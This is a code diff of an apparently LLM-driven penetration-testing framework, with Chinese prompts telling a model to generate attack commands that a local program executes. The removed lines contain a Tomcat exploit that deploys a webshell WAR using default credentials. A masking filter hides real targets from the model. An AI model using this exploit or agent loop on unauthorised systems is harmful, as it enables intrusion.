+7.在信息收集阶段,节点路径都为当前节点,包括测试目标是域名,需要对测试目标指向的IP进行信息收集时,IP节点由本地程序在渗透测试阶段统一创建。 +**响应示例** +- [{dash指令},{python指令}] +- [{JSON结果}] +**测试指令格式** +- dash指令:{\"action\":\"dash\",\"path\":\"节点路径\",\"content\":\"指令内容\"} +- python指令:{\"action\":\"python\",\"path\":\"节点路径\",\"content\":\"指令内容\"} + * python主函数名为dynamic_fun,需包含错误处理,必须返回一个tuple(status, output) +- [节点路径]为从根节点到目标节点的完整层级路径,以"->"关联,如:目标系统->192.168.1.100 +**JSON结果格式** +- JSON结果:{\"action\":\"asset\",\"URL\":{URL信息json},\"IPS\":[\"IP\":\"192.168.1.100\",\"IPtype\":\"IPv4/IPv6\",\"Ports\":[端口信息json]]} + * 端口信息json:{\"Port\":\"端口号\",\"Service\":\"服务名称\",\"Version\":\"版本号\",\"Protocol\":\"TCP/UDP\",\"Status\":\"open/closed/filtered\"} + * URL信息json:{\"Domain\":\"域名\",\"Subdomains\":\"[子域名1,子域名2]\",\"Registrant\":\"注册人\",\"Email\":\"注册邮箱\",\"Registrar\":\"注册商\",\"Creation_date\":\"创建日期\",\"Expiration_date\":\"到期日期\"} +- 若URL无效,JSON中URL字段置空,若无子域名,Subdomains置空数组,若无端口信息,Ports字段返回空数组 +**核心要求** +- 返回内容必须严格遵守响应示例,不允许有其他内容或说明 +- 测试指令和JSON结果必须严格遵守对应格式要求 +'''}] # 一个messages + + def build_init_attact_prompt(self,node): + if not node: + return + # 根节点初始化message----后续有可能需要为每个LLM生成不同的system msg + node.parent_messages = [{"role": "system","content": ''' +你是一位资深的渗透测试专家,现在由你来指导针对一个目标的渗透测试工作,需要生成具体的指令交给本地程序执行,再根据本地程序提交的执行结果,规划下一步指令,直至全面完成渗透测试。 +**总体要求** +1.以测试目标为根节点,以测试点作为子节点的形式来规划整个渗透测试方案; +2.测试点的规划需要基于执行结果:是测试目标涉及的,且是完整的,具体为:a.完成信息收集,根据信息收集到的内容,所有可能存在中高风险的测试点;b.漏洞验证成功,还能进一步利用的测试点; +3.新增测试点的约束:只有当当前节点提交了所有测试指令的执行结果,且没有新的测试指令需要验证时,再统一判断是否需要新增子节点进一步进行验证测试,若没有,则结束该路径的验证; +4.若一次性新增的子节点过多,无法为每个节点都匹配测试指令,请优先保障新增测试节点的完整; +5.生成的指令有两类:节点指令和测试指令,不能包含注释和说明,严格遵守格式要求,不要有无关的前缀后缀等内容; +6.若无节点操作,节点指令可以不生成,若当前节点已完成测试,测试指令可以不生成; +7.只有当漏洞验证成功后,才能生成漏洞验证成功的指令,避免误报。 +**响应示例** +- [{节点指令},{测试指令}] +**节点指令格式** +- 新增节点:{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"}; +- 漏洞验证成功:{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}}; +- 节点完成测试:{\"action\": \"end_work\", \"node\": \"节点\"}; +**测试指令格式** +- dash指令:{\"action\":\"dash\",\"path\":\"节点路径\",\"content\":\"指令内容\"} +- python指令:{\"action\":\"python\",\"path\":\"节点路径\",\"content\":\"指令内容\"} + * python主函数名为dynamic_fun,需包含错误处理,必须返回一个tuple(bool, output) +- [节点路径]为从根节点到目标节点的完整层级路径,以"->"关联,如:目标系统->192.168.1.100 +**测试指令生成准则** +1.可以是dash指令,或python指令,必须按格式要求生成; +2.必须对应已有节点,或同时生成对应新增节点指令; +3.必须有独特且明确的目的,避免功能重复或范围重叠,优先使用覆盖面广成功率高的指令; +4.若需要多条指令配合测试,请生成对应的python指令,完成闭环返回; +5.避免用户交互,必须要能返回,返回的结果需要能利于你规划下一步指令。 +**核心要求** +- 返回内容必须严格遵守响应示例,不允许有其他内容或说明; +- 节点指令和测试指令必须严格遵守对应的格式要求; +- 需确保测试指令的节点路径和指令的目标节点一致,例如:针对子节点的测试指令,节点路径不能指向当前节点; '''}] # 一个messages # 调用LLM生成指令 - def get_llm_instruction(self,prompt,node,DataFilter): + def get_llm_instruction(self,sendmessage): ''' - 1.由于大模型API不记录用户请求的上下文,一个任务的LLM不能并发! - :param prompt:用户本次输入的内容 - :return: instr_list + :sendmessage :发送的message + :return: iresult,reasoning_content,content,error ''' - #添加本次输入入该节点的message队列 - message = {"role":"user","content":prompt} - node.cur_messages.append(message) #更新节点message - sendmessage = [] - sendmessage.extend(node.parent_messages) - sendmessage.extend(node.cur_messages) #提交LLM #准备请求参数 params = { @@ -134,18 +199,18 @@ mysql -u root -p 192.168.1.100 response = self.client.chat.completions.create(**params) except APITimeoutError: self.logger.error("LLM API 请求超时") - return False, "","","", f"调用超时(model={self.model})" + return -1,"","", f"调用超时(model={self.model})" except APIConnectionError as e: self.logger.error(f"网络连接错误: {e}") - return False, "","", "", "网络连接错误" + return -1,"", "", "网络连接错误" except OpenAIError as e: # 包括 400/401/403/500 等各种 API 错误 self.logger.error(f"LLM API 错误: {e}") - return False, "","", "", f"API错误: {e}" + return -1,"", "", f"API错误: {e}" except Exception as e: # 兜底,防止意外 self.logger.exception("调用 LLM 时出现未预期异常") - return False, "","", "", f"未知错误: {e}" + return -1,"", "", f"未知错误: {e}" reasoning_content = "" content = "" @@ -174,14 +239,8 @@ mysql -u root -p 192.168.1.100 content = choice.content else: self.logger.error("处理到未预设的模型!") - return False,"","","","处理到未预设的模型!" - # 记录llm历史信息 - node.cur_messages.append({'role': 'assistant', 'content': content}) - print(content) - real_con = DataFilter.filter_instruction(content) - #按格式规定对指令进行提取 - node_cmds,commands = self.fetch_instruction(real_con) - return True,node_cmds,commands,reasoning_content, content + content = choice.content + return 1,reasoning_content,content,"" def node_cmd_repair(self,part): ''' @@ -208,48 +267,27 @@ mysql -u root -p 192.168.1.100 :param text: 输入文本 :return: node_cmds,python_blocks,shell_blocks ''' - - #针对llm的回复,提取节点操作数据和执行的指令---- - # 正则匹配 Python 代码块 - python_blocks = re.findall(r"```python-(.*?)```", response_text, flags=re.DOTALL) - # 处理 Python 代码块,去除空行并格式化 - python_blocks = [block.strip() for block in python_blocks] - - #正则匹配shell指令 - shell_blocks = re.findall(f"```dash-(.*?)```", response_text, flags=re.DOTALL) - shell_blocks = [block.strip() for block in shell_blocks] - - # 按连续的空行拆分 - # 移除 Python和dash 代码块 - text_no_python = re.sub(r"```python.*?```", "PYTHON_BLOCK", response_text, flags=re.DOTALL) - text = re.sub(r"```dash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL) - - # 这里用 \n\s*\n 匹配一个或多个空白行 - parts = re.split(r'\n\s*\n', text) node_cmds = [] commands = [] - python_index = 0 - shell_index = 0 - for part in parts: - part = part.strip() - if not part: - continue - if "PYTHON_BLOCK" in part: - # 还原 Python 代码块 - commands.append(f"python-code {python_blocks[python_index]}") - python_index += 1 - elif "SHELL_BLOCK" in part: - commands.append(shell_blocks[shell_index]) - shell_index +=1 - else:#其他的认为是节点操作指令--指令格式还存在不确定性,需要正则匹配,要求是JSON - part = self.node_cmd_repair(part) - pattern = re.compile(r'\{(?:[^{}]|\{[^{}]*\})*\}') - for match in pattern.findall(part): #正常只能有一个 - try: - node_cmds.append(json.loads(match)) # 解析 JSON 并添加到列表 - except json.JSONDecodeError as e:#解析不了的不入队列 - self.logger.error(f"LLM-{part}-JSON 解析错误: {e}") #这是需不需要人为介入? - return node_cmds,commands + # 序列化为JSON + try: + json_datas = json.loads(response_text) + except json.JSONDecodeError as e: + self.logger.debug(f"返回的内容转化成JSON失败,不符合json格式--{response_text}") + #反馈给LLM,重新返回内容 + return False,node_cmds,commands,f"返回的内容json.loads失败,{str(e)}" + #对返回内容的json关键字验证 + bok, strerror = g_CV.verify_node_cmds(json_datas) + if not bok: + return False, node_cmds, commands, strerror + #通过合法性校验--进行后续处理--拆分node_cmd 和 commands + for part in json_datas: + action = part["action"] + if action == "dash" or action == "python": + commands.append(part) + else: + node_cmds.append(part) + return True,node_cmds,commands,"" def test_llm(self): messages = [ @@ -266,65 +304,8 @@ mysql -u root -p 192.168.1.100 if __name__ == "__main__": llm = LLMManager(3) strcontent = ''' -{"action":"find_vul", "node": "8180端口-Tomcat","vulnerability": {"name":"Tomcat弱口令漏洞","risk":"高危","info":"默认凭证tomcat:tomcat可访问管理控制台"} - -```python-[目标系统->192.168.3.107->8180端口-Tomcat] -import requests -import base64 -from io import BytesIO - -def dynamic_fun(): - try: - # 生成包含webshell的简易WAR包 - war_content = base64.b64decode( - "UEsDBBQACAgIAJdWjkwAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAA" + - "gICACXVY5MAAAAAAAAAAAAAAAAFAAAAElNQL2V4cGxvaXQuanNwU0jNycnMS8tJ5XJRKEotyS8qyUx2SSxJ5QIAUEsH" + - "CFdDq4YIAAAAEAAAAFBLAQIeAxQACAgIAJdVjkwAAAAAAgAAAAAAAAAJAAQAAAAAAAAAAADsgQAAAABNRVRBLUlORi/" + - "6ygMAABQSwECHgMUAAgICACXVY5MV0OrhggAAAASAAAAFAAAAAAAAAAAAAAAAAClAAAAElNQL2V4cGxvaXQuanNwUEsF" + - "BgAAAAACAAIAqQAAAHwAAAAAAA==" - ) - - # 尝试部署WAR包 - deploy_url = "http://192.168.3.107:8180/manager/text/deploy?path=/exploit" - res = requests.put( - deploy_url, - auth=('tomcat', 'tomcat'), - data=war_content, - timeout=10 - ) - - if "FAIL" in res.text: - return (False, f"Deploy failed: {res.text}") - - # 验证命令执行 - cmd_url = "http://192.168.3.107:8180/exploit/exploit.jsp?cmd=id" - cmd_res = requests.get(cmd_url, timeout=5) - - return (True, f"Deploy success! Command result: {cmd_res.text[:100]}") if cmd_res.status_code == 200 else ( - False, "Command execution failed") - - except Exception as e: - return (False, f"Exploit error: {str(e)}") -``` - -{"action":"add_node", "parent": "8180端口-Tomcat", "nodes": "Web应用路径遍历,Tomcat版本漏洞"} - -```python-[目标系统->192.168.3.107->8180端口-Tomcat->Tomcat版本漏洞] -import requests -def dynamic_fun(): - try: - # 检测CVE-2020-1938 - vul_check = requests.get( - "http://192.168.3.107:8180/docs/", - headers={"Host": "localhost"}, - timeout=5 - ) - if "Apache Tomcat/8." in vul_check.headers.get('Server', ''): - return (True, "可能存在Ghostcat漏洞(CVE-2020-1938)") - return (False, "未检测到易受攻击版本") - except Exception as e: - return (False, f"检测失败: {str(e)}") -``` +```dash-[目标系统->192.168.3.107]nmap -sV -Pn -p- 192.168.3.107``` +```dash-[目标系统->192.168.3.107]dig +short -x 192.168.3.107``` ''' node_cmds, commands = llm.fetch_instruction(strcontent) print(node_cmds) diff --git a/mycode/PythoncodeTool.py b/mycode/PythoncodeTool.py index 6a76f92..cdd2c63 100644 --- a/mycode/PythoncodeTool.py +++ b/mycode/PythoncodeTool.py @@ -29,6 +29,8 @@ import smbclient import binascii import ftplib import threading +import whois +import sublist3r from mysql.connector import Error from Crypto.Cipher import DES from packaging import version @@ -68,7 +70,7 @@ def _execute_dynamic(instruction_str): 'open': open, 'Exception': Exception, 'locals': locals, 'ConnectionResetError':ConnectionResetError,'BrokenPipeError':BrokenPipeError, 'bytes':bytes,'tuple':tuple,'format':format,'next':next,'StopIteration':StopIteration, - 'bytearray':bytearray + 'bytearray':bytearray,'getattr':getattr,'hasattr':hasattr,'isinstance':isinstance,'dir':dir, } # 构造安全的 globals safe_globals = { @@ -115,6 +117,8 @@ def _execute_dynamic(instruction_str): 'version':version, 'DES':DES, 'ftplib':ftplib, + 'whois':whois, + 'sublist3r':sublist3r, } safe_locals = {} try: diff --git a/mycode/TargetManager.py b/mycode/TargetManager.py index b2042a1..80dd0dd 100644 --- a/mycode/TargetManager.py +++ b/mycode/TargetManager.py @@ -65,36 +65,41 @@ class TargetManager: def validate_and_extract(self,input_str): ''' :param input_str: - :return: bool,str,int(1-IP,2-domain) + :return: bool,real_target,int(1-IP,2-domain),fake_target ''' - regex_match = re.fullmatch(pattern, input_str) type = None fake_target = "" - if regex_match: - domain_or_ip = regex_match.group(2) - # 仅对 IPv4 格式的字符串进行有效性验证 - if re.fullmatch(r'\d{1,3}(\.\d{1,3}){3}', domain_or_ip): - if not self._is_valid_ipv4(domain_or_ip): - return False, None,type,fake_target - else: - type = 1 #IP - fake_target = "192.168.3.107" - else: - type = 2 #domain - fake_target = "www.czzfxxkj.com" - return True, domain_or_ip,type,fake_target - else: - return False, None,type,fake_target + real_target = "" + target_type,target = self.is_valid_target(input_str) + if not target_type: #非法目标 + return False,input_str,type,fake_target + + if target_type =="IPv4" or target_type=="IPv6": + type = 1 #IP + real_target = target + fake_target = "192.168.3.107" + elif target_type == "URL": + type = 2 #domain + real_target = target + fake_target = "czzfkjxx" + else: #目标不合法 + return False,real_target,type,fake_target + return True,real_target,type,fake_target #验证目标是否合法 def is_valid_target(self,target): + ''' + 检查目标的合法性,并对于URL地址,提取域名部分,若是ip的URL,提取IP + :param target: + :return: target_type new_target + ''' # Check if target is a valid IP address (IPv4 or IPv6) try: ip = ipaddress.ip_address(target) if ip.version == 4: - return 'IPv4' + return 'IPv4',target elif ip.version == 6: - return 'IPv6' + return 'IPv6',target except ValueError: pass @@ -102,30 +107,30 @@ class TargetManager: try: result = urlparse(target) # Only allow http or https schemes - if result.scheme not in ['http', 'https']: - return None + if not result.scheme: + result = urlparse('http://'+target) netloc = result.netloc if not netloc: - return None + return None,None # Handle IPv6 addresses in URLs (enclosed in brackets) if netloc.startswith('[') and netloc.endswith(']'): ip_str = netloc[1:-1] try: ipaddress.IPv6Address(ip_str) - return 'URL' + return 'IPv6',ipaddress except ValueError: - return None + return None,None # Handle potential IPv4 addresses elif self._is_valid_ipv4(netloc): try: ipaddress.IPv4Address(netloc) - return 'URL' + return 'IPv4',ipaddress except ValueError: - return None + return None,None # If not an IP-like string, assume it's a domain name and accept - return 'URL' + return 'URL',netloc except ValueError: - return None + return None,None def collect_ip_info(self,ip): info = {} @@ -187,44 +192,38 @@ class TargetManager: return info def test(self,str_target): - target_type = self.is_valid_target(str_target) - if not target_type: - print(f"Invalid target: {str_target}") - return - - if target_type == 'IPv4' or target_type == "IPv6": - #info = self.collect_ip_info(str_target) - info = "IP" - elif target_type == 'URL': - domain = urlparse(str_target).netloc - info = self.collect_domain_info(domain) - - print(f"Collected info for {str_target}: {info}") + bok, target, type, fake_target = self.validate_and_extract(str_target) + if not bok: + print(f"{str_target}目标不合法{target}") + else: + print(f"{str_target}目标合法{target} ---- {fake_target}") g_TM = TargetManager() if __name__ == "__main__": - tm = TargetManager() - # 示例测试 - # test_cases = [ - # "256.254.1111.23", - # "8.8.8.8", - # "2001:db8::1", - # "http://www.crnn.cc/", - # "https://www.crnn.cn", - # "http://www.crnn.cc/product_category/network-security-services", - # "192.168.1.1:80", - # "example.com/path/to/resource", - # "ftp://invalid.com", # 不合规 - # "http://300.400.500.600" # 不合规 - # ] - + #tm = TargetManager() + #示例测试 test_cases = [ + "256.254.1111.23", + "8.8.8.8", + "2001:db8::1", "http://www.crnn.cc/", - "http://www.crnn.cc/product_category/network-security-services" + "https://www.crnn.cn", + "http://www.crnn.cc/product_category/network-security-services", + "192.168.1.1:80", + "example.com/path/to/resource", + "www.crnn.cn", + "oa.crnn.cn", + "ftp://invalid.com", # 不合规 + "http://300.400.500.600" # 不合规 ] + # test_cases = [ + # "http://www.crnn.cc/", + # "http://www.crnn.cc/product_category/network-security-services" + # ] + #tm.test("https://www.crnn.cn") for case in test_cases: - tm.test(case) + g_TM.test(case) diff --git a/mycode/TaskManager.py b/mycode/TaskManager.py index 1839df1..aa10957 100644 --- a/mycode/TaskManager.py +++ b/mycode/TaskManager.py @@ -78,7 +78,7 @@ class TaskManager: target_list = test_targets.split(",") for target in target_list: #这里判断目标的合法性 - bok,target,type,fake_target = self.TargetM.validate_and_extract(target) #是否还需要判断待定? + bok,target,type,fake_target = self.TargetM.validate_and_extract(target) #若是url,target是域名部分 if not bok:#目标不合法 fail_list.append(target) continue @@ -274,4 +274,5 @@ class TaskManager: tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time) return tasks + g_TaskM = TaskManager() #单一实例 \ No newline at end of file diff --git a/mycode/TaskObject.py b/mycode/TaskObject.py index 512efd4..0e84c8a 100644 --- a/mycode/TaskObject.py +++ b/mycode/TaskObject.py @@ -52,6 +52,7 @@ class TaskObject: self.safe_rank = safe_rank #安全级别 0-9 #?暂时还没实现更新逻辑 self.is_had_work = False self.is_had_work_lock = threading.Lock() + self.cur_stage = 0 #0--信息收集阶段,1--渗透测试阶段 #读写锁 self.rwlock = ReadWriteLock() @@ -237,7 +238,6 @@ class TaskObject: llm_node = self.llmth_node_list[th_index] #开始处理 bnode_work = True - tmp_commands = [] # {llm_node.status} --- 暂时固化为未完成 user_Prompt = f''' 当前分支路径:{llm_node.path} @@ -246,42 +246,37 @@ class TaskObject: - 节点状态:未完成 - 漏洞类型:{llm_node.vul_type} ''' - while True: + ido_count = 0 # 用于控制线程重复执行的上限 + tmp_commands = [] + while True: #对节点的待提交任务进行提交处理 llm_data = llm_node.get_res() if llm_data is None: break llm_type = llm_data["llm_type"] str_res = llm_data["result"] #判断执行次数 - llm_node.llm_sn += 1 - if llm_node.llm_sn == max_llm_sn: #提交次数达到上限后,提示LLM结束该节点任务 - llm_type = 10 - #该节点的剩余任务不执行,若有--暂定 - llm_node.clear_res() - + if llm_type !=2: + llm_node.llm_sn += 1 + if llm_node.llm_sn >= max_llm_sn + 1: #提交次数达到上限后,提示LLM结束该节点任务 + llm_type = 10 + #该节点的剩余任务不执行,若有--暂定 + llm_node.clear_res() #获取提示词 prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt) - fake_prompt = self.DataFilter.filter_prompt(prompt) #目标脱敏 - - self.doing_llm_list[th_index] = prompt + self.doing_llm_list[th_index] = prompt #执行更新 # 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行 - post_time = get_local_timestr() - bsuccess,node_cmds, commands,reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,llm_node,self.DataFilter) # message要更新 --llm_node只使用messages,都是脱敏后的数据 - if not bsuccess: - self.logger.error(f"模型接口调用出错:{content}") - continue #丢弃 --若需要再次尝试,把llm_data再入队列 - # LLM记录存数据库 + bsuccess, node_cmds, commands, strerror,reasoning_content,content = self.node_get_llm_instruction(llm_node,prompt) #如果API调用出问题,会一直循环尝试 + if not bsuccess:#返回的内容不符合格式约定 --重试3次还不符合--丢弃 + continue #下一个待办事项 + #返回结果符合要求 + # LLM记录存数据库 ---若有指令错误的情况,中间的请求修正的MSG会丢失数据库记录 if th_DBM.ok: + post_time = get_local_timestr() bres = th_DBM.insert_llm(self.task_id, prompt, reasoning_content, content, post_time, llm_node.llm_sn,llm_node.path) if not bres: self.logger.error(f"{llm_node.name}-llm入库失败!") else: self.logger.error("数据库连接失败!") - ''' - 对于LLM返回的错误处理机制 - 1.验证节点是否都有测试指令返回 - 2.LLM的回复开始反复时(有点难判断) - ''' # 更新tree bok, new_commands,iadd_node = self.tree_manager(node_cmds, llm_node, commands, th_DBM) # 分析指令入对应节点 @@ -298,7 +293,7 @@ class TaskObject: asyncio.run(g_WSM.send_data(idatatype, strdata)) # 先取消当前task,已经通知前端重新获取,这样可以避免后端不必要的数据推送 #self.taskM.web_cur_task = 0 - # 一个节点执行完成后再置空 + # 一个节点执行完成后--提交中llm置空 self.doing_llm_list[th_index] = "" else: if bnode_work: @@ -425,10 +420,11 @@ class TaskObject: #修改节点的执行状态,并需要基于websocket推送到前端显示 同步线程调用 def update_node_work_status(self,node,work_status): + old_work_status = node.get_work_status() #更新状态 bchange = node.update_work_status(work_status) #1,3会返回Flase #基于websocket推送到前端 - if work_status != 1: #llm执行完成后会发送单独的指令更新树,所以不发送1更新节点了 + if work_status != 1 and old_work_status != 0: #llm执行完成后会发送单独的指令更新树,所以不发送1更新节点了 #判断是否是web端最新获取数据的task if self.taskM.web_cur_task == self.task_id: idatatype = 1 @@ -476,25 +472,36 @@ class TaskObject: return find_node def replace_error_instr(self,command): - command = command.replace("| |","||") - command = command.replace("& &","&&") + content = command["content"] + content = content.replace("| |","||") + content = content.replace("& &","&&") + command["content"] = content return command def put_node_instrlist(self, commands, node): #如果当前节点没有进一般指令返回,需要修改节点执行状态 if not node: return + ''' + - dash指令:{\"action\":\"dash\",\"path\":\"节点路径\",\"content\":\"指令内容\"} + - python指令:{\"action\":\"python\",\"path\":\"节点路径\",\"content\":\"指令内容\"} + ''' node_list = [] #有待办指令的节点 for command in commands: command = self.replace_error_instr(command) # 使用正则匹配方括号中的node_path(非贪婪模式) - match = re.search(r'\[(.*?)\]', command) - if match: - node_path = match.group(1) - node_name = node_path.split("->")[-1] - instruction = re.sub(r'\[.*?\]', "", command, count=1, flags=re.DOTALL) - #'''强制约束,不是本节点或者是子节点的指令不处理''' - find_node = None - if node_name == node.name: #指令是当前节点的 + #match = re.search(r'\[(.*?)\]', command) + com_type = command["action"] + com_path = command["path"] + content = command["content"] + node_name = com_path.split("->")[-1] + if com_type == "python": #对于python代码,加个python头 + content = "python-code " + content + #寻找指令的对应节点#'''强制约束,不是本节点或者是子节点的指令不处理''' + find_node = None + if node_name == node.name: #指令是当前节点的 + find_node = node + else: + if self.cur_stage == 0: #信息收集阶段,不是当前节点的指令,也作为当前节点 find_node = node else: for child_node in node.children: #暂时只找一层 @@ -502,21 +509,20 @@ class TaskObject: if child_node.do_sn == 0: #只有没执行过指令的子节点,才允许添加指令 2025-5-9 新增限制 避免父节点和子节点同时有指令执行,提交llm后,父节点返回子节点指令。 find_node = child_node break - # find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands) - # if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加 - # find_node = self.find_node_by_child_node_name(node, node_name) # 递归找子节点 - - if find_node: - find_node.add_instr(instruction,node.parent_messages,node.cur_messages) #2025-4-23调整为第一添加指令时传递Msg - #DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正 - find_node.status = "未完成" - if find_node not in node_list: - node_list.append(find_node) - self.update_node_work_status(find_node,1) #待执行指令 - else:#如果还没找到就暂时放弃 - self.logger.error(f"没有找到指令对应的节点:{node_path},当前节点{node.path}")#丢弃该指令 - else: - self.logger.error(f"得到的指令格式不符合规范:{command}")#丢弃该指令--- + # find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands) + # if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加 + # find_node = self.find_node_by_child_node_name(node, node_name) # 递归找子节点 + + if find_node: + find_node.add_instr(content,node.parent_messages,node.cur_messages) #2025-4-23调整为第一添加指令时传递Msg + #DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正 + find_node.status = "未完成" + if find_node not in node_list: + node_list.append(find_node) + self.update_node_work_status(find_node,1) #待执行指令 + else:#如果还没找到就暂时放弃 + self.logger.error(f"没有找到指令对应的节点:{com_path},当前节点{node.path}")#丢弃该指令 + #这里对于丢弃指令,有几种方案: # 1.直接丢弃不处理,但需要考虑会不会产生节点缺失指令的问题,需要有机制验证节点;------ 需要有个独立线程,节点要加锁--首选待改进方案 # 2.入当前节点的res_queue,但有可能当前节点没有其他指令,不会触发提交,另外就算提交,会不会产生预设范围外的返回,不确定; @@ -617,10 +623,14 @@ class TaskObject: #获取本次的提交提示词 def get_llm_prompt(self,llm_type,str_res,user_Prompt): - if llm_type == 0: + if llm_type == -2: #调用llm api失败的情况,prompt已是组装好 + return str_res + elif llm_type == -1: + ext_Prompt = "请针对当前节点收集渗透测试所需的相关信息" + elif llm_type == 0: ext_Prompt = f''' -补充信息:{str_res} -任务:请开始对该目标的渗透测试工作。 +已知信息:{str_res} +任务:请根据当前节点信息生成下一步指令。 ''' elif llm_type == 1: # 提交指令执行结果 --- 正常提交 # 构造本次提交的prompt @@ -630,7 +640,7 @@ class TaskObject: ''' elif llm_type == 2: # llm返回的指令存在问题,需要再次请求返回 ext_Prompt = f''' -反馈类型:节点指令格式错误 +反馈类型:返回的信息不符合规则 错误信息:{str_res} 任务:请按格式要求重新生成该节点上一次返回中生成的所有指令。 ''' @@ -669,23 +679,200 @@ class TaskObject: parent_node.add_child(new_node) #existing_names.add(child_name) # 更新集合 -- 已经去重过了,不需要在添加到比对 - #处理节点指令 - def tree_manager(self,node_cmds,node,commands,DBM): + def dedupe_ports(self,IPS): + new_ips = [] + for ip_entry in IPS: + seen_ports= set() + filtered_ports = [] + for port_info in ip_entry.get("Ports", []): + port = port_info.get("Port") + if port not in seen_ports: + seen_ports.add(port) + filtered_ports.append(port_info) + # 构造新的 IP 条目,只替换 Ports 字段 + new_entry = ip_entry.copy() + new_entry["Ports"] = filtered_ports + new_ips.append(new_entry) + return new_ips + + #更新资产数据库 + def add_update_assets(self,URL,IPS,DBM): + url_id = 0 + # URL信息入库或更新 + if URL: # required_keys = {"Domain", "Subdomains", "Reqistrar", "Email", "Creation_date", "Expiration_date"} + Domain = URL["Domain"] + Subdomains = URL["Subdomains"] + Registrant = URL["Registrant"] + Registrar = URL["Registrar"] + Email = URL["Email"] + Creation_date = URL["Creation_date"] + Expiration_date = URL["Expiration_date"] + url_id = DBM.add_or_update_URL_asset(Domain, Subdomains, Registrant, Email, Creation_date, + Expiration_date,Registrar) + # URL-关联的-IP信息入库或更新 + to_url_ip=[] + for IP_data in IPS: + #[\"IP\":\"192.168.1.100\",\"IPtype\":\"IPv4/IPv6\",\"Ports\":[端口信息json]] + ip_address = IP_data["IP"] + IPtype = IP_data["IPtype"] + Ports = IP_data["Ports"] + #IP入库或更新 + ip_id,scan_count = DBM.add_or_update_IP_asset(ip_address,IPtype) + if url_id:#有url就需要入库关联表 --统一处理 + to_url_ip.append(ip_id) + #把IP资产和task进行关联 + DBM.add_task_to_ip(self.task_id,ip_id) + #Ports端口数据入库过更新 + DBM.update_port(ip_id,scan_count,Ports) + #统一维护url-ip的对应关系 + if to_url_ip: + DBM.update_url_to_ip(url_id,to_url_ip) + + def update_attack_tree(self,URL,IPS,cur_node): + #self.add_children_node(node, add_node_names) + # if URL: #说明检测目标是url 正常情况只有从url->IP,无法从ip->url + # for IP_data in IPS: #IPS不应该会重复 + # #增加IP子节点 + # new_node = TreeNode(IP_data["IP"], cur_node.task_id, 0, "已完成") #IP不管如何算0层 + # cur_node.add_child(new_node) + # else:#说明目标是IP地址 + # for IP_data in IPS:#IP应该只有一个 + # pass + for IP_data in IPS: + ip_node = cur_node #如果没有URL,IP就是当前根节点 + if URL: + # 增加IP子节点 + ip_node = TreeNode(IP_data["IP"], cur_node.task_id, 0, "已完成") # IP不管如何算0层 + cur_node.add_child(ip_node) + #port端口节点 + ports = IP_data["Ports"] + for port_data in ports: + port = port_data["Port"] + service = port_data["Service"] + version = port_data["Version"] + protocol = port_data["Protocol"] #TCP/UDP + status = port_data["Status"] #open/closed/filtered + #添加port节点 + port_node = TreeNode(str(port), ip_node.task_id, 1, "未完成") # port为1层 + # parent_messages 初始化 + self.LLM.build_init_attact_prompt(port_node) + ip_node.add_child(port_node) + #添加已知信息 + know_info = f"端口号:{port},服务:{service},版本:{version},协议:{protocol},端口状态:{status}" + self.put_node_reslist(port_node, know_info, 0) #llm_type -0 info->accack的过渡,需要重新构建prompt + #保存节点树--th_llm 节点任务执行完后会报错 + + #提交prompt 拉取llm返回结果,再做一层封装 --- 信息的脱敏和还原都放这里面 + def node_get_llm_instruction(self,cur_node,prompt): + i_instr_error = 0 + while True: + fake_prompt = self.DataFilter.filter_prompt(prompt) # 目标脱敏 + # 构造与更新message + message = {"role": "user", "content": fake_prompt} + cur_node.cur_messages.append(message) # 更新节点message + sendmessage = [] + sendmessage.extend(cur_node.parent_messages) + sendmessage.extend(cur_node.cur_messages) + ido_count = 0 + while True: # + iresult,reasoning_content,content,error = self.LLM.get_llm_instruction(sendmessage) + if iresult == -1: #调用LLMapi 出错 + if ido_count < 3: + ido_count += 1 + self.logger.error(f"模型调用出错-{error},休眠10秒后重试") + time.sleep(10) + else: # 调用llmapi 已达错误上限--休眠半个小时候再试 + ido_count = 0 + self.logger.error(f"模型调用连续出错-{error},休眠30分钟后重试") + time.sleep(60 * 30) + continue + #llm调用成功后,记录llm历史信息 + cur_node.cur_messages.append({'role': 'assistant', 'content': content}) + print(content) + break + + # 目标还原 + real_con = self.DataFilter.filter_instruction(content) + + # 解析验证返回内容 + bsuccess, node_cmds, commands, strerror = self.LLM.fetch_instruction(real_con) + if not bsuccess: # 返回的内容不符合格式约定--重新提交 + if i_instr_error >=3: + return bsuccess, node_cmds, commands, strerror,reasoning_content,real_con + i_instr_error += 1 + user_Prompt = f''' +当前分支路径:{cur_node.path} +当前节点信息: +- 节点名称:{cur_node.name} +- 节点状态:未完成 +- 漏洞类型:{cur_node.vul_type} +''' + prompt = self.get_llm_prompt(2,strerror,user_Prompt) + # one_llm = {'llm_type': 2, 'result': strerror} + # cur_node.add_res(one_llm, 1) # 入节点结果队列的第一个 + continue + else: + return bsuccess, node_cmds, commands, strerror,reasoning_content,real_con + + #阻塞轮询补充指令 + def get_other_instruction(self,nodes,DBM,cur_node): + new_commands = [] + res_str = ','.join(nodes) + no_instr_nodes = nodes + while res_str: + self.logger.debug(f"开始针对f{res_str}这些节点请求测试指令") + user_Prompt = f''' +当前分支路径:{cur_node.path} +当前节点信息: +- 节点名称:{cur_node.name} +- 节点状态:{cur_node.status} +- 漏洞类型:{cur_node.vul_type} +反馈类型:需要补充以下子节点的测试指令:{res_str} +任务: 